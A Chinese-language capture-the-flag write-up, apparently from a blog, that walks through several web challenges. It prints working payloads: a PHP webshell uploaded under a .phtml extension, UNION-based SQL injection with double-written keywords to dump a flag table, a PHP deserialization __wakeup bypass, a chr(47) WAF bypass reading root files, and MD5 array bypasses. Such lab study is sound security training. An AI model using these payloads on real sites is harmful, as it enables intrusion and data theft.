上传成功
貌似这里就是我们上传的文件。以及别的师傅上传的文件,我们大家也可以用别的师傅的文件名绕过.php后缀。至于为啥要改一下一句话木马。是因为
?
被过滤了,被过滤提示的截图忘记截了,抱歉。我们用script函数替代。
上传成功我们可以直接用蚁键连一下。根目录下有flag。直接找到。蚁键的url在地址栏复制就ok了,连接密码123。
[极客大挑战 2019]Knife
进入靶机是这样的暗示得很明显。一句话木马。其实直接拿蚁键连一下就好了。
直接得出flag了。密码就是Syc。直接粘贴靶机的url就ok了。很easy的一题...
[ACTF2020 新生赛]Upload
好,进入靶机又一道文件上传的题。直接把上一道题 [极客大挑战 2019]Upload的一句话木马文件拿来用就行。不用太麻烦。
,好好好,又只能上传图片格式的。先把后缀改一下。按照题目要求改成.jpg后缀的。
好好好,上传成功。但我们要上传的不是图片文件,而是php,这样蚁键才能连。那我们抓包改一下后缀名上传。
把后缀名改成.phtml。上传成功。
上传成功了。
上传成功,复制这个url去蚁键连一下就可以看到flag了。
得到flag
[极客大挑战 2019]BabySQL
进入靶机进入靶机是这样的。
密码输入一个单引号,报错。说明是字符型的sql,所以这到题的解法应该跟应该用常规解法做注没什么问题。
第一步:爆字段:
1 ' union select 1,2,3#
貌似被过滤了。我们双写绕过一下就好了。
1' ununionion seselectlect 1,2,3#
没有报错,那么看来不止两个字段。
1' ununionion seselectlect 1,2,3,4#
这里报错,说明只有三个字段。
第二步:爆库
1' ununionion seselectlect 1,database(),3#
把2换成database(),得到库名。得到库名为geek。但这是当前库的库名。
1'ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata#
我们看看还有没有别的库
这便是所有的数据库了。最可疑的应该是ctf库
第三步:爆表
1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf'#
好好好,有flag字段
第四步:爆字段
1' ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag #
因为flag在ctf库里面而不在当前数据库里面。所以要用ctf.Flag来指定。
得到flag
[极客大挑战 2019]PHP
进入靶机进入靶机是这样的。一只猫猫在网页。它给了我们一个提示“备份网站”。网页备份,应该是www.zip
常见的网站源码备份文件后缀:
.tar.gz, .zip, .rar, .tar,.php.bak, .swp,
常见的网站源码备份文件名:
web, website, backup, back, www, wwwroot, temp
...dirsearch。
用法 python dirsearch.py -u http://example.com -e php,html,js,txt
这个工具在物理机上面不太好用,我也没排查出什么原因。但是在kali里面还行。所以,直接在kali里面敲就好了。不过时间会有点久。
扫墓扫到了他的备份文件。我们直接下载下来。然后解压看看
总共有这些文件。
flag.php:啥都没有,看来这道题没那么简单。
class.php:
大概意思就是说,username= 'admine' 和 password = '100'
才会输出flag
index.php:这我也不是不是很清楚,但是有一个unserialize反序列函数
unserialize — 从已存储的表示中创建 PHP 的值列化后的字符串。
若被反序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup()成员函数(如果存在的话)
<?php
class Name{
private $username = 'admine';
private $password = '100';
}
$select = new Name();
$res=serialize(@$select);
echo $res
?>
我们也写一个脚本。直接在在线网站里面执行。我也懒得去装php环境了。
当成员属性数目大于实际数目时才可绕过wakeup
所以我们要将 2 改为 3 或者 比二大的数字
同时,我们要将口变为 %00 若果不写 在我们复制的时候就会减少空格,然后就ok
构建payload:?/select=O:4:"Name":3:{s:8:"%00*%00username";s:5:"admin";s:8:"%00*%00password";s:3:"100";}
成功找到flag
[极客大挑战 2019]BackupFile
进入靶机
利用工具dirsearch,Dirsearch是一个用于探测WEB服务器下的敏感文件/目录的命令行工具。
所以直接去Kali里面用。但是扫墓一般要扫很久。慢慢等。
用法:dirseach -u http://example.com -e php
好好好,扫出来了一个index.php.bak文件。我们访问一下。绿色表示发现了目标url中的一个目录或文件,并且能够成功访问它。
访问成功,我们直接下载下来。
打开文件发现一串php代码
代码审计:就是说,如果没有key的话,输出“Try to find out source file!",然后key是Get传参,如果key不是数字,则输出"Just num!"所以题目也给了提示,只取数字。
然后说如果key和str相等的话,则输出flag。那么key=123,得出flag
[RoarCTF 2019]Easy Calc
进入靶机
查看源码,发现一个calc.php。查看一下他的代码。
str是get传参且只能输入数字,不能输入字母。blacklist 是黑名单,把这些字符串给过滤掉了。我们得绕过他们。
然后有一个if(preg_match('/'.blackitem.'/m',str)),这个是正则匹配,如果匹配到的话,就会输出“what are you want to do?"然后他这里过滤了/,不可能无缘无故过滤/,所以我们可以用chr(47)来代替/。然后我们就可以绕过了。
chr()函数:返回ascii对应的字符,47对应/。
scandir()函数:用于列出指定目录中的文件和目录
print_r()函数:用于打印关于变量的易于理解的信息
payload:calc.php?%20num=print_r(scandir(chr(47)))
源码那里有一行绿色的<!--I've set up WAF to ensure sesure security.-->
有waf会对num审计,我们加上空格%20,%20是空格的url编码。这样可以绕过。
发现根目录下有f1agg文件,很显然flag就放在这里。我们读取它。
file_get_contents()函数 把文件内容读取出来。
,因为/被过滤了,所以必须用chr(47)来代替。得出flag。
[极客大挑战 2019]BuyFlag
进入靶机刚进去的时候旁边有一个菜单键(menu),点击有个payflag。
说得到flag需要100000000钱。且必须是cuit的学生回答正确的问题。好好好,说真的这些其实不需要管的,直接查看源码。
源码中最重要的就是这个,意思大致就是password=404
源码有超链接,我们试试抓包。
发现cookie:user=0;一般来说,0代表false,1代表true。所以改成1。
显示是这个学生。提交password = 404a,因为是弱等于,所以需要在数字后面加上随机的字母,才能使得参数等于数字。
把get传参改为post了,然后密码加进去了,还是没有显示密码正确。
观察到没有类型,而password=xxx属于键对值,使用Content-Type: application/x-www-form-urlencoded
加入类型后,只差金钱条件了。
如果输入刚好的数字会提示数字数字太长,我们用科学计数法绕过。money=1e10,不长,也刚好大于题目要求的金额
得到flag
[BJDCTF 2020]Easy MD5
进入靶机
看起来是sql注入,我们查看源代码,啥都没有,于是抓包。找到注入的sql语句。
或者f12,也能找到
emmm就是确定是sql注入了。然后启动靶机的时候有个代码托管的地址。
输入这个就可以进入下一关。然后试了很多sql注入语句都没有回显,但直接输入ffifdyop就可以直接进入下一步了。也许出题人觉得不提示这个对于我们来说太难了,不过对我我来说确实[👀]
源代码丢给ai审计一下,知道a,b参数不一样,但md5值相等。且是弱比较。md5对数组不做特殊处理,我们通过数组绕过就好了。payload?a[]=1&b[]=2
成功绕过,来到最后一关了。只要绕过param1的post传参。然后这个关键代码的意思是如果param1何param2不相等且md5的值严格相等(===),满足这个条件输出flag。但md5对数组不做特殊处理,所以和上一道题一样,数组绕过payload
?param1[]=1¶m2[]=2
然后是post传参,所以必须要用hackbar工具,不能直接写在url里面了。
得到flag。我写题的时候不知道为啥,一直没有回显,然后看别人的wp把payload改成了
?param1[]=111¶m2[]=222
就回显了,我也是很无语,不知道为啥。后来又去走用第一个构建的payload也是可以得出flag的。
之前写题的时候就是明明传过去了,但是就是没啥反应